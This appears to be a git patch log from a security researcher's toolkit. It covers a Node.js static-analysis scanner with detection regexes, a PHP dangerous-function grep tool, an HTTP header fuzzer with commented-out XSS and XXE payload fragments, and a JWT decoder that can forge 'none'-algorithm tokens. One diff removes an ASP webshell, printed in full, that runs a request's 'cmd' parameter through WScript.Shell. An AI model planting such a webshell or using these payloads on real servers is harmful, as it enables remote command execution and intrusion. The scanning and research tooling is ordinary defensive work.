((_))/((_))\ (_))/(()\ /((_) )\ (_))/ )\ (()\ - _(_/( ((_) _| |(_)) ((_)| |_ ((_)(_))( ((_)| |_ ((_) ((_) - | ' \))/ _ \/ _` |/ -_)(_-<| _|| '_|| || |/ _| | _|/ _ \| '_| - |_||_| \___/\__,_|\___|/__/ \__||_| \_,_|\__| \__|\___/|_| - + + ( ) ) + )\ ) ( ( /( ( ( ( /( ( + ( ( (()/( ))\ ( )\()))( ))\ ( )\()) ( )( + )\ ) )\ ((_))/((_))\ (_))/(()\ /((_) )\ (_))/ )\ (()\ + _(_/( ((_) _| |(_)) ((_)| |_ ((_)(_))( ((_)| |_ ((_) ((_) + | ' \))/ _ \/ _` |/ -_)(_-<| _|| '_|| || |/ _| | _|/ _ \| '_| + |_||_| \___/\__,_|\___|/__/ \__||_| \_,_|\__| \__|\___/|_| + ##### static code analysis for Node.js and other JavaScript apps ##### ##### GitHub.com/bl4de | twitter.com/_bl4de | hackerone.com/bl4de ##### -example usages: +example usages: $ ./nodestructor filename.js $ ./nodestructor -R ./dirname $ ./nodestructor -R ./dirname --skip-node-modules --skip-test-files @@ -46,7 +46,6 @@ ".*[pP]ath.normalize\(", ".*fs.*File.*\(", ".*fs.*Read.*\(", - ".*process.cwd\(", ".*pipe\(res", ".*bodyParser\(", ".*eval\(", @@ -136,8 +135,6 @@ patterns_identified = 0 files_with_identified_patterns = 0 -# some files not to loking in: -extensions_to_ignore = ['md', 'txt', 'map', 'jpg', 'png'] minified_ext = ['.min.js'] SKIP_ALWAYS = ['package.json', 'README.md'] TEST_FILES = ['test.js', 'tests.js'] @@ -195,26 +192,22 @@ def printcodeline(_line, i, _fn, _message, _code, verbose): def process_files(subdirectory, sd_files, pattern="", verbose=False): """ - recursively iterates ofer all files and checks those which meet + recursively iterates ofer all files and checks those which meet criteria set by options only """ global total_files for __file in sd_files: current_filename = os.path.join(subdirectory, __file) - if (current_filename[-3:] not in extensions_to_ignore - and current_filename not in SKIP_ALWAYS - and current_filename[-2:] not in extensions_to_ignore - and current_filename[-7:] not in minified_ext): - + if current_filename[-3:] == '.js': if not '/node_modules/' in subdirectory or ('/node_modules/' in subdirectory and skip_node_modules is False): if (skip_test_files is False): perform_code_analysis(current_filename, pattern, verbose) - total_files = total_files + 1 + total_files=total_files + 1 else: if __file not in TEST_FILES and "/test" not in current_filename and "/tests" not in current_filename: perform_code_analysis( current_filename, pattern, verbose) - total_files = total_files + 1 + total_files=total_files + 1 def perform_code_analysis(src, pattern="", verbose=False): @@ -228,25 +221,25 @@ def perform_code_analysis(src, pattern="", verbose=False): # if -P / --pattern is defined, overwrite patterns with user defined # value(s) if pattern: - patterns = [".*" + pattern] + patterns=[".*" + pattern] - print_filename = True + print_filename=True - _file = open(src, "r") - _code = _file.readlines() - i = 0 - patterns_found_in_file = 0 + _file=open(src, "r") + _code=_file.readlines() + i=0 + patterns_found_in_file=0 for _line in _code: i += 1 - __line = _line.strip() + __line=_line.strip() for __pattern in patterns: - __rex = re.compile(__pattern) + __rex=re.compile(__pattern) if __rex.match(__line.replace(' ', '')): if print_filename: - files_with_identified_patterns = files_with_identified_patterns + 1 + files_with_identified_patterns=files_with_identified_patterns + 1 print("FILE: \33[33m{}\33[0m\n".format(src)) - print_filename = False + print_filename=False patterns_found_in_file += 1 printcodeline(_line, i, __pattern, ' code pattern identified: ', _code, verbose) @@ -254,7 +247,7 @@ def perform_code_analysis(src, pattern="", verbose=False): # URL searching if identify_urls == True: if url_regex.search(__line): - __url = url_regex.search(__line).group(0) + __url=url_regex.search(__line).group(0) # show each unique URL only once if __url not in urls: printcodeline(__url, i, __url, @@ -262,7 +255,7 @@ def perform_code_analysis(src, pattern="", verbose=False): urls.append(__url) if patterns_found_in_file > 0: - patterns_identified = patterns_identified + patterns_found_in_file + patterns_identified=patterns_identified + patterns_found_in_file print(beautyConsole.getColor("red") + "\nIdentified %d code pattern(s)\n" % (patterns_found_in_file) + beautyConsole.getSpecialChar("endline")) @@ -273,7 +266,7 @@ def perform_code_analysis(src, pattern="", verbose=False): if __name__ == "__main__": show_banner() - parser = argparse.ArgumentParser() + parser=argparse.ArgumentParser() parser.add_argument("filename", help="Specify a file or directory to scan") parser.add_argument( "-r", "--recursive", help="check files recursively", action="store_true") @@ -294,26 +287,26 @@ def perform_code_analysis(src, pattern="", verbose=False): parser.add_argument( "-p", "--pattern", help="define your own pattern to look for. Pattern has to be a RegEx, like '.*fork\('. nodestructor removes whiitespaces, so if you want to look for 'new fn()', your pattern should look like this: '.*newfn\(\)' (all special characters for RegEx have to be escaped with \ )") - args = parser.parse_args() + args=parser.parse_args() try: - base_path = args.filename + base_path=args.filename if args.recursive: - FILE_LIST = os.listdir(args.filename) + FILE_LIST=os.listdir(args.filename) - pattern = args.pattern if args.pattern else "" + pattern=args.pattern if args.pattern else "" - exclude = [e for e in args.exclude.split( + exclude=[e for e in args.exclude.split( ',')] + exclude_always if args.exclude else exclude_always - include = [i for i in args.include.split(',')] if args.include else [] + include=[i for i in args.include.split(',')] if args.include else [] - skip_node_modules = args.skip_node_modules - skip_test_files = args.skip_test_files - identify_urls = args.include_urls - verbose = args.verbose + skip_node_modules=args.skip_node_modules + skip_test_files=args.skip_test_files + identify_urls=args.include_urls + verbose=args.verbose if args.include_browser_patterns: - patterns = patterns + browser_patterns + patterns=patterns + browser_patterns if args.recursive: for subdir, dirs, files in os.walk(base_path): @@ -325,12 +318,10 @@ def perform_code_analysis(src, pattern="", verbose=False): process_files(subdir, files, pattern, verbose) else: # process only single file - s_filename = args.filename - if (s_filename[-3:] not in extensions_to_ignore - and s_filename[-2:] not in extensions_to_ignore - and s_filename[-7:] not in minified_ext): + s_filename=args.filename + if s_filename[-3:] == '.js': perform_code_analysis(s_filename, pattern, verbose) - total_files = total_files + 1 + total_files=total_files + 1 except Exception as ex: print("{}An exception occured: {}\n\n".format( From 2f86dc95e49b0fe4daf4f0c840918b1b515dc626 Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Sun, 1 Sep 2019 17:00:52 +0100 Subject: [PATCH 117/460] changes --- http_headers_fuzzer/http_headers_fuzzer.py | 166 +++++++++++---------- webshells/webshell.asp | 50 ------- webshells/webshell.php | 1 - 3 files changed, 86 insertions(+), 131 deletions(-) delete mode 100644 webshells/webshell.asp delete mode 100644 webshells/webshell.php diff --git a/http_headers_fuzzer/http_headers_fuzzer.py b/http_headers_fuzzer/http_headers_fuzzer.py index 8c57ac5..8ef3144 100755 --- a/http_headers_fuzzer/http_headers_fuzzer.py +++ b/http_headers_fuzzer/http_headers_fuzzer.py @@ -10,19 +10,16 @@ payloads = [ { - "Host": sys.argv[1], "Content-Type": "text/plain", "User-Agent": "HTTP Fuzzer", "Accept": "*.*" }, { - "Host": sys.argv[1], "Content-Type": "application/xml", "User-Agent": "", "Accept": "*.*" }, { - "Host": sys.argv[1], "Content-Type": "application/json", "Accept": "*.*", "User-Agent": "';", @@ -37,9 +34,9 @@ postdata = [ # text/plain -"some random string", + "some random string", # application/x-www-form-urlencoded -"foo=bar&debug=true", + "foo=bar&debug=true", # application/xml r""" @@ -84,85 +81,90 @@ """, -# r""" -# var n=0;while(true){n++;}]]> -# SCRIPT]]>alert('gotcha');/SCRIPT]]> -# -# ]>&xee; -# ]>&xee; -# ]>&xee; -# ]>&xee; -# -# ]> -# -# ]> -# "]]>" -# "cript:alert('XSS')"">" -# "" -# "XSS" -# ','')); phpinfo(); exit;/* - -# """, + # r""" + # var n=0;while(true){n++;}]]> + # SCRIPT]]>alert('gotcha');/SCRIPT]]> + # + # ]>&xee; + # ]>&xee; + # ]>&xee; + # ]>&xee; + # + # ]> + # + # ]> + # "]]>" + # "cript:alert('XSS')"">" + # "" + # "XSS" + # ','')); phpinfo(); exit;/* + + # """, # XXE -# r""" -# -# -# ]> -# ]>&foo; -# ]> -# ]>&foo; -# -# ]>&xxe; -# ]> -# ]>&xxe; -# ]> -# ]>&xxe; -# ]> -# ]>&xxe; -# ]> -# ]>&xxe; -# ]> -# ]>&xxe; -# -# ]]> -# &foo; -# %foo; -# count(/child::node()) -# x' or name()='username' or 'x'='y -# ','')); phpinfo(); exit;/* -# var n=0;while(true){n++;}]]> -# SCRIPT]]>alert('XSS');/SCRIPT]]> -# SCRIPT]]>alert('XSS');/SCRIPT]]> -# SCRIPT]]>alert('XSS');/SCRIPT]]> -# -# -# ]]> -# <IMG SRC="javascript:alert('XSS')"> -# -# -# -# XSS -# -# -# -# -# ]> -# ]> -# ]> -# ]> -# ]> -# "> %int; -# "> -# %dtd;%trick;]> -# %dtd;%trick;]> -# %dtd;]>]]> -# """ + # r""" + # + # + # ]> + # ]>&foo; + # ]> + # ]>&foo; + # + # ]>&xxe; + # ]> + # ]>&xxe; + # ]> + # ]>&xxe; + # ]> + # ]>&xxe; + # ]> + # ]>&xxe; + # ]> + # ]>&xxe; + # + # ]]> + # &foo; + # %foo; + # count(/child::node()) + # x' or name()='username' or 'x'='y + # ','')); phpinfo(); exit;/* + # var n=0;while(true){n++;}]]> + # SCRIPT]]>alert('XSS');/SCRIPT]]> + # SCRIPT]]>alert('XSS');/SCRIPT]]> + # SCRIPT]]>alert('XSS');/SCRIPT]]> + # + # + # ]]> + # <IMG SRC="javascript:alert('XSS')"> + # + # + # + # XSS + # + # + # + # + # ]> + # ]> + # ]> + # ]> + # ]> + # "> %int; + # "> + # %dtd;%trick;]> + # %dtd;%trick;]> + # %dtd;]>]]> + # """ ] def pretty_response_print(method, url, response): + if 'Content-Length' in response.headers.keys(): + content_length = response.headers['Content-Length'] + else: + content_length = 'unknown' + print("{} {}\t\t HTTP {}: size: {}".format( - method, url, response.status_code, response.headers['Content-Length'])) + method, url, response.status_code, content_length)) logfile.write('RESPONSE HEADERS:\n{}\nRESPONSE BODY:\n{}\n{}\n\n'.format( response.headers.__str__(), response.text, '-' * 120)) @@ -195,14 +197,18 @@ def send_request_with_method(method, url, payload): http_url, headers=payload, data=data, allow_redirects=False)) -def fuzz(url): +def fuzz(host, url): print("[+] Fuzzing {}...".format(url)) for payload in payloads: + payload["Host"] = host send_request_with_method('GET', url, payload) send_request_with_method('POST', url, payload) if __name__ == '__main__': - fuzz(sys.argv[1]) + host = sys.argv[1] + url = sys.argv[2] + + fuzz(host, url) logfile.close() diff --git a/webshells/webshell.asp b/webshells/webshell.asp deleted file mode 100644 index 22c5a5d..0000000 --- a/webshells/webshell.asp +++ /dev/null @@ -1,50 +0,0 @@ - - - -<% -Set oScript = Server.CreateObject("WSCRIPT.SHELL") -Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK") -Set oFileSys = Server.CreateObject("Scripting.FileSystemObject") -Function getCommandOutput(theCommand) - Dim objShell, objCmdExec - Set objShell = CreateObject("WScript.Shell") - Set objCmdExec = objshell.exec(thecommand) - getCommandOutput = objCmdExec.StdOut.ReadAll -end Function -%> - - - - -
- - -
-
-<%= "\\" & oScriptNet.ComputerName & "\" & oScriptNet.UserName %>
-<%Response.Write(Request.ServerVariables("server_name"))%>
-

-The server's port: -<%Response.Write(Request.ServerVariables("server_port"))%> -

-

-The server's software: -<%Response.Write(Request.ServerVariables("server_software"))%> -

-

-The server's software: -<%Response.Write(Request.ServerVariables("LOCAL_ADDR"))%> -<% szCMD = request("cmd") -thisDir = getCommandOutput("cmd /c" & szCMD) -Response.Write(thisDir)%> -

-
- - \ No newline at end of file diff --git a/webshells/webshell.php b/webshells/webshell.php deleted file mode 100644 index 08fc995..0000000 --- a/webshells/webshell.php +++ /dev/null @@ -1 +0,0 @@ - \ No newline at end of file From 3835fc3a45af621bb9c0e25178d5228c67a2e86c Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Tue, 1 Oct 2019 08:33:44 +0100 Subject: [PATCH 118/460] fixed class 'UnicodeDecodeError' error [pef] --- pef/pef.py | 18 +++++++++++++++--- 1 file changed, 15 insertions(+), 3 deletions(-) diff --git a/pef/pef.py b/pef/pef.py index 5e09b5f..43613ab 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -5,6 +5,14 @@ # # pylint: disable=C0103 + +# //TODO: +# - handle exceptions: "Unexpected error: " +# - allow to scan folder without subdirs +# - allow to scan files by pattern, eg. *.php +# - exclude 'echo' lines without HTML tags + + """ pef.py - PHP static code analysis tool (very, very simple) by bl4de @@ -220,9 +228,10 @@ def run(self): if self.recursive: for root, subdirs, files in os.walk(self.filename): for f in files: - self.scanned_files = self.scanned_files + 1 - res = self.main(os.path.join(root, f)) - self.found_entries = self.found_entries + res + if f.find('php') > 0: + self.scanned_files = self.scanned_files + 1 + res = self.main(os.path.join(root, f)) + self.found_entries = self.found_entries + res else: self.scanned_files = self.scanned_files + 1 self.found_entries = self.main(self.filename) @@ -282,6 +291,9 @@ def run(self): engine = PefEngine(args.recursive, verbose, critical, sql, filename, pattern) engine.run() + except UnicodeDecodeError as e: + print("UnicodeDecodeError in {}: {}".format(filename, e)) + pass except Exception as e: print("Unexpected error:") print(type(e)) From c601dd4fe84f36693fe31ddd8deecae065dc91e3 Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Tue, 8 Oct 2019 00:15:41 +0100 Subject: [PATCH 119/460] cosmetic changes [pef] --- pef/pef.py | 9 ++++----- 1 file changed, 4 insertions(+), 5 deletions(-) diff --git a/pef/pef.py b/pef/pef.py index 43613ab..8de1f8f 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -7,7 +7,6 @@ # pylint: disable=C0103 # //TODO: -# - handle exceptions: "Unexpected error: " # - allow to scan folder without subdirs # - allow to scan files by pattern, eg. *.php # - exclude 'echo' lines without HTML tags @@ -86,7 +85,7 @@ def analyse_line(self, l, i, fn, f, line, prev_line, next_line, prev_prev_line, # there has to be space before function call; prevents from false-positives strings contains PHP function names atfn = "@{}".format(fn) - fn = " {}".format(fn) + fn = "{}".format(fn) # also, it has to checked agains @ at the beginning of the function name # @ prevents from output being echoed @@ -110,7 +109,7 @@ def print_code_line(self, _line, i, fn, prev_line="", next_line="", prev_prev_li } if verbose == True: - print(" line %d :: \33[33;1m%s\33[0m " % (i, fn)) + print("line %d :: \33[33;1m%s\33[0m " % (i, fn)) else: print("{}line {} :: {}{} ".format(beautyConsole.getColor( "white"), i, beautyConsole.getColor("grey"), _line.strip())) @@ -137,7 +136,7 @@ def print_code_line(self, _line, i, fn, prev_line="", next_line="", prev_prev_li severity[impact] = severity[impact] + 1 if verbose == True: - print("\n") + print() if prev_prev_line: print(str(i-2) + " " + beautyConsole.getColor("grey") + prev_prev_line + beautyConsole.getSpecialChar("endline")) @@ -152,7 +151,7 @@ def print_code_line(self, _line, i, fn, prev_line="", next_line="", prev_prev_li if next_next_line: print(str(i+2) + " " + beautyConsole.getColor("grey") + next_next_line + beautyConsole.getSpecialChar("endline")) - print("\n") + print() return def main(self, src): From 7e50587d9bc1eade9b568b11a24fed25c671d1ae Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Thu, 10 Oct 2019 22:18:13 +0100 Subject: [PATCH 120/460] some updates [pef] --- pef/imports/pefdefs.py | 2 ++ pef/imports/pefdocs.py | 12 ++++++++++++ pef/pef.py | 10 ++++++---- 3 files changed, 20 insertions(+), 4 deletions(-) diff --git a/pef/imports/pefdefs.py b/pef/imports/pefdefs.py index d16cbd0..5a7d8fd 100755 --- a/pef/imports/pefdefs.py +++ b/pef/imports/pefdefs.py @@ -114,6 +114,8 @@ "__wakeup(", "__destruct(", "__sleep(", + "__call(", + "__callStatic(", "filter_var(", "file_put_contents(" ] diff --git a/pef/imports/pefdocs.py b/pef/imports/pefdocs.py index 3cb9caf..153fad3 100644 --- a/pef/imports/pefdocs.py +++ b/pef/imports/pefdocs.py @@ -467,6 +467,18 @@ "Object Injection; RCE via unserialize() + POP gadget chain", "medium" ], + "__call()": [ + "Triggered when invoking inaccessible methods in an object context", + "public __call ( string $name , array $arguments ) : mixed", + "Object Injection; RCE via unserialize() + POP gadget chain", + "medium" + ], + "__callStatic()": [ + "Triggered when invoking inaccessible methods in a static context.", + "public static __callStatic ( string $name , array $arguments ) : mixed", + "Object Injection; RCE via unserialize() + POP gadget chain", + "medium" + ], "filter_var()":[ "Filters a variable with a specified filter", "filter_var ( mixed $variable [, int $filter = FILTER_DEFAULT [, mixed $options ]] ) : mixed", diff --git a/pef/pef.py b/pef/pef.py index 8de1f8f..7ff4447 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -237,11 +237,11 @@ def run(self): print(beautyConsole.getColor("white") + "-" * 100) - print(beautyConsole.getColor("green")) - print("\n>>> {} file(s) scanned".format(self.scanned_files)) + print( + f"{beautyConsole.getColor('green')}\n>>> {self.scanned_files} file(s) scanned") if self.found_entries > 0: - print("{}>>> {} interesting entries found\n".format( - beautyConsole.getColor("red"), self.found_entries)) + print( + f"{beautyConsole.getColor('red')}>>> {self.found_entries} interesting entries found\n") else: print(" No interesting entries found :( \n") @@ -293,6 +293,8 @@ def run(self): except UnicodeDecodeError as e: print("UnicodeDecodeError in {}: {}".format(filename, e)) pass + except FileNotFoundError as e: + print("Requested file not found, check the path :)") except Exception as e: print("Unexpected error:") print(type(e)) From c1e77cf88290ca107229c2fdbb05d40372591afe Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Thu, 10 Oct 2019 23:10:01 +0100 Subject: [PATCH 121/460] fix searching patterns; cut long lines [pef] --- pef/pef.py | 34 ++++++++++++++++++++++++---------- 1 file changed, 24 insertions(+), 10 deletions(-) diff --git a/pef/pef.py b/pef/pef.py index 7ff4447..834397e 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -89,13 +89,24 @@ def analyse_line(self, l, i, fn, f, line, prev_line, next_line, prev_prev_line, # also, it has to checked agains @ at the beginning of the function name # @ prevents from output being echoed - if fn in line or atfn in line: - self.header_printed = self.header_print( - f.name, self.header_printed) - total += 1 - self.print_code_line(l, i, fn + (')' if '(' in fn else ''), prev_line, - next_line, prev_prev_line, next_next_line, self.severity, - verbose) + # try to match --pattern if set, using RegExp + if self.pattern: + pattern = re.compile(self.pattern[0]) + if re.match(pattern, line): + self.header_printed = self.header_print( + f.name, self.header_printed) + total += 1 + self.print_code_line(l, i, fn + (')' if '(' in fn else ''), prev_line, + next_line, prev_prev_line, next_next_line, self.severity, + verbose) + else: + if fn in line or atfn in line: + self.header_printed = self.header_print( + f.name, self.header_printed) + total += 1 + self.print_code_line(l, i, fn + (')' if '(' in fn else ''), prev_line, + next_line, prev_prev_line, next_next_line, self.severity, + verbose) return total def print_code_line(self, _line, i, fn, prev_line="", next_line="", prev_prev_line="", next_next_line="", severity={}, verbose=False): @@ -108,11 +119,14 @@ def print_code_line(self, _line, i, fn, prev_line="", next_line="", prev_prev_li "high": "red" } + if len(_line) > 255: + _line = _line[:120] + \ + f" (...truncated -> line is {len(_line)} characters long)" if verbose == True: print("line %d :: \33[33;1m%s\33[0m " % (i, fn)) else: print("{}line {} :: {}{} ".format(beautyConsole.getColor( - "white"), i, beautyConsole.getColor("grey"), _line.strip())) + "white"), i, beautyConsole.getColor("grey"), _line.strip()[:255])) # print legend only if there i sentry in pefdocs.py if fn and fn.strip() in pefdocs.exploitableFunctionsDesc.keys(): @@ -170,7 +184,6 @@ def main(self, src): prev_line = "" next_line = "" next_next_line = "" - for l in all_lines: if i > 2: prev_prev_line = all_lines[i - 2].rstrip() @@ -183,7 +196,6 @@ def main(self, src): i += 1 line = l.rstrip() - if self.critical: for fn in pefdefs.critical: total = self.analyse_line(l, i, fn, f, line, prev_line, @@ -295,6 +307,8 @@ def run(self): pass except FileNotFoundError as e: print("Requested file not found, check the path :)") + except IsADirectoryError as e: + print(f"{filename} is a directory and requires -r flag") except Exception as e: print("Unexpected error:") print(type(e)) From e70fe77be482e56b42c9e298427d8f1d185a93ed Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Thu, 10 Oct 2019 23:12:27 +0100 Subject: [PATCH 122/460] update description and contact info [pef] --- pef/pef.py | 8 +++----- 1 file changed, 3 insertions(+), 5 deletions(-) diff --git a/pef/pef.py b/pef/pef.py index 834397e..2161b05 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -1,7 +1,7 @@ #!/usr/bin/env python3 # # PHP Exploitable Functions/Vars Scanner -# bl4de | bloorq@gmail.com | Twitter: @_bl4de +# bl4de | github.com/bl4de | hackerone.com/bl4de # # pylint: disable=C0103 @@ -13,9 +13,7 @@ """ -pef.py - PHP static code analysis tool (very, very simple) -by bl4de -GitHub: bl4de | bloorq@gmail.com +pef.py - PHP source code advanced grep utility """ import sys import os @@ -32,7 +30,7 @@ def banner(): Prints welcome banner with contact info """ print(beautyConsole.getColor("green") + "\n\n", "-" * 100) - print("-" * 6, " PEF | PHP Exploitable Functions scanner", " " * 35, "-" * 16) + print("-" * 6, " PEF | PHP Exploitable Functions source code advanced grep utility", " " * 35, "-" * 16) print("-" * 6, " GitHub: bl4de | Twitter: @_bl4de | bloorq@gmail.com ", " " * 22, "-" * 16) print("-" * 100, "\33[0m\n") From e63367c8e58daeba919d575400d7224965b1095c Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Mon, 4 Nov 2019 14:15:42 +0000 Subject: [PATCH 123/460] JWT decoder - initial commit --- jwt_decoder.py | 10 ++++++++++ 1 file changed, 10 insertions(+) create mode 100644 jwt_decoder.py diff --git a/jwt_decoder.py b/jwt_decoder.py new file mode 100644 index 0000000..d2c5ddd --- /dev/null +++ b/jwt_decoder.py @@ -0,0 +1,10 @@ +#!/usr/bin/env python3 + +# JWT Decoder +import base64 + +jwt = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpYXQiOiIxNDE2OTI5MDYxIiwianRpIjoiODAyMDU3ZmY5YjViNGViN2ZiYjg4NTZiNmViMmNjNWIiLCJzY29wZXMiOnsidXNlcnMiOnsiYWN0aW9ucyI6WyJyZWFkIiwiY3JlYXRlIl19LCJ1c2Vyc19hcHBfbWV0YWRhdGEiOnsiYWN0aW9ucyI6WyJyZWFkIiwiY3JlYXRlIl19fX0.gll8YBKPLq6ZLkCPLoghaBZG_ojFLREyLQYx0l2BG3E" + +jwt = jwt.split('.') + +print(jwt) From 3e93b88028078f73d870ef480c49dce36d893ea7 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Mon, 4 Nov 2019 15:10:37 +0000 Subject: [PATCH 124/460] initial decoding of header and payload of JWT [jwt_decoder.py] --- jwt_decoder.py | 26 +++++++++++++++++++++++--- 1 file changed, 23 insertions(+), 3 deletions(-) mode change 100644 => 100755 jwt_decoder.py diff --git a/jwt_decoder.py b/jwt_decoder.py old mode 100644 new mode 100755 index d2c5ddd..4237c71 --- a/jwt_decoder.py +++ b/jwt_decoder.py @@ -2,9 +2,29 @@ # JWT Decoder import base64 +import sys +# eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpYXQiOiIxNDE2OTI5MDYxIiwianRpIjoiODAyMDU3ZmY5YjViNGViN2ZiYjg4NTZiNmViMmNjNWIiLCJzY29wZXMiOnsidXNlcnMiOnsiYWN0aW9ucyI6WyJyZWFkIiwiY3JlYXRlIl19LCJ1c2Vyc19hcHBfbWV0YWRhdGEiOnsiYWN0aW9ucyI6WyJyZWFkIiwiY3JlYXRlIl19fX0.gll8YBKPLq6ZLkCPLoghaBZG_ojFLREyLQYx0l2BG3E -jwt = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpYXQiOiIxNDE2OTI5MDYxIiwianRpIjoiODAyMDU3ZmY5YjViNGViN2ZiYjg4NTZiNmViMmNjNWIiLCJzY29wZXMiOnsidXNlcnMiOnsiYWN0aW9ucyI6WyJyZWFkIiwiY3JlYXRlIl19LCJ1c2Vyc19hcHBfbWV0YWRhdGEiOnsiYWN0aW9ucyI6WyJyZWFkIiwiY3JlYXRlIl19fX0.gll8YBKPLq6ZLkCPLoghaBZG_ojFLREyLQYx0l2BG3E" -jwt = jwt.split('.') +def get_parts(jwt): + return dict(zip(['header', 'payload', 'signature'], jwt.split('.'))) -print(jwt) + +def decode_part(part): + # use Base64URL decode plus optional padding. + # === makes sure that padding will be always correct + # extraneous padding is ignored + return base64.urlsafe_b64decode(part + '===') + + +def encode_part(part): + return base64.urlsafe_b64encode(part).decode('utf-8') + + +parts = get_parts(sys.argv[1]) + +header = decode_part(parts['header']) +print(header) + +payload = decode_part(parts['payload']) +print(payload) From 49a43b2ed14a1bb4a75e5233edb3313b77a9c132 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Mon, 4 Nov 2019 16:07:55 +0000 Subject: [PATCH 125/460] generate JWT [jwt_decoder.py] --- jwt_decoder.py | 30 +++++++++++++++++++++++++++--- 1 file changed, 27 insertions(+), 3 deletions(-) diff --git a/jwt_decoder.py b/jwt_decoder.py index 4237c71..dd617eb 100755 --- a/jwt_decoder.py +++ b/jwt_decoder.py @@ -3,8 +3,13 @@ # JWT Decoder import base64 import sys +import hmac +import hashlib +import binascii + # eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpYXQiOiIxNDE2OTI5MDYxIiwianRpIjoiODAyMDU3ZmY5YjViNGViN2ZiYjg4NTZiNmViMmNjNWIiLCJzY29wZXMiOnsidXNlcnMiOnsiYWN0aW9ucyI6WyJyZWFkIiwiY3JlYXRlIl19LCJ1c2Vyc19hcHBfbWV0YWRhdGEiOnsiYWN0aW9ucyI6WyJyZWFkIiwiY3JlYXRlIl19fX0.gll8YBKPLq6ZLkCPLoghaBZG_ojFLREyLQYx0l2BG3E +# eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpYXQiOiIxNDE2OTI5MDYxIiwianRpIjoiODAyMDU3ZmY5YjViNGViN2ZiYjg4NTZiNmViMmNjNWIiLCJzY29wZXMiOnsidXNlcnMiOnsiYWN0aW9ucyI6WyJyZWFkIiwiY3JlYXRlIl19LCJ1c2Vyc19hcHBfbWV0YWRhdGEiOnsiYWN0aW9ucyI6WyJyZWFkIiwiY3JlYXRlIl19fX0.15308fa263baaa57c2c84528d913ab75892352d927ccbd29e5af8fd783257996 def get_parts(jwt): return dict(zip(['header', 'payload', 'signature'], jwt.split('.'))) @@ -18,13 +23,32 @@ def decode_part(part): def encode_part(part): - return base64.urlsafe_b64encode(part).decode('utf-8') + return base64.urlsafe_b64encode(part).decode('utf-8').replace('=', '') + + +def build_jwt(header, payload, key, alg='hmac'): + message = encode_part(header) + '.' + encode_part(payload) + if alg == 'hmac': + signature = hmac.new(bytes(key,'ascii'), bytes(message, 'ascii'), hashlib.sha256).hexdigest() + elif alg == 'none': + # if alg is set to 'none' + signature = '' + else: + pass + return f'{message}.{signature}' parts = get_parts(sys.argv[1]) header = decode_part(parts['header']) -print(header) +# print(header) payload = decode_part(parts['payload']) -print(payload) +# print(payload) + + +message = encode_part(header) + '.' + encode_part(payload) +# print(message) + +jwt = build_jwt(header, payload, 'key') +print(jwt) From 5f1fe4b6789cc3d4144a4b39d96be93c3210c729 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Mon, 4 Nov 2019 16:32:29 +0000 Subject: [PATCH 126/460] not working :/ [jwt-decoder.py] --- jwt_decoder.py | 15 +++++++-------- 1 file changed, 7 insertions(+), 8 deletions(-) diff --git a/jwt_decoder.py b/jwt_decoder.py index dd617eb..9252867 100755 --- a/jwt_decoder.py +++ b/jwt_decoder.py @@ -11,6 +11,7 @@ # eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpYXQiOiIxNDE2OTI5MDYxIiwianRpIjoiODAyMDU3ZmY5YjViNGViN2ZiYjg4NTZiNmViMmNjNWIiLCJzY29wZXMiOnsidXNlcnMiOnsiYWN0aW9ucyI6WyJyZWFkIiwiY3JlYXRlIl19LCJ1c2Vyc19hcHBfbWV0YWRhdGEiOnsiYWN0aW9ucyI6WyJyZWFkIiwiY3JlYXRlIl19fX0.15308fa263baaa57c2c84528d913ab75892352d927ccbd29e5af8fd783257996 + def get_parts(jwt): return dict(zip(['header', 'payload', 'signature'], jwt.split('.'))) @@ -27,9 +28,10 @@ def encode_part(part): def build_jwt(header, payload, key, alg='hmac'): - message = encode_part(header) + '.' + encode_part(payload) + message = f'{encode_part(header)}.{encode_part(payload)}'.encode() if alg == 'hmac': - signature = hmac.new(bytes(key,'ascii'), bytes(message, 'ascii'), hashlib.sha256).hexdigest() + signature = hmac.new(key.encode(), message, + hashlib.sha256).hexdigest() elif alg == 'none': # if alg is set to 'none' signature = '' @@ -41,14 +43,11 @@ def build_jwt(header, payload, key, alg='hmac'): parts = get_parts(sys.argv[1]) header = decode_part(parts['header']) -# print(header) +print(header) payload = decode_part(parts['payload']) -# print(payload) - +print(payload) -message = encode_part(header) + '.' + encode_part(payload) -# print(message) -jwt = build_jwt(header, payload, 'key') +jwt = build_jwt(header, payload, 'secrety') print(jwt) From a7cd80937498edf68ddc00f6eaae890eb039ef3b Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Tue, 12 Nov 2019 15:45:08 +0000 Subject: [PATCH 127/460] jwt_decoder.py changes --- jwt_decoder.py | 15 +++++++++------ 1 file changed, 9 insertions(+), 6 deletions(-) diff --git a/jwt_decoder.py b/jwt_decoder.py index 9252867..6b3ae69 100755 --- a/jwt_decoder.py +++ b/jwt_decoder.py @@ -24,14 +24,21 @@ def decode_part(part): def encode_part(part): - return base64.urlsafe_b64encode(part).decode('utf-8').replace('=', '') + return base64.urlsafe_b64encode(part).replace(b'=', b'') +# doesn't work, needs to be fixed, one day :P def build_jwt(header, payload, key, alg='hmac'): - message = f'{encode_part(header)}.{encode_part(payload)}'.encode() + message = b'.'.join([ + encode_part(header), + encode_part(payload) + ]) + + 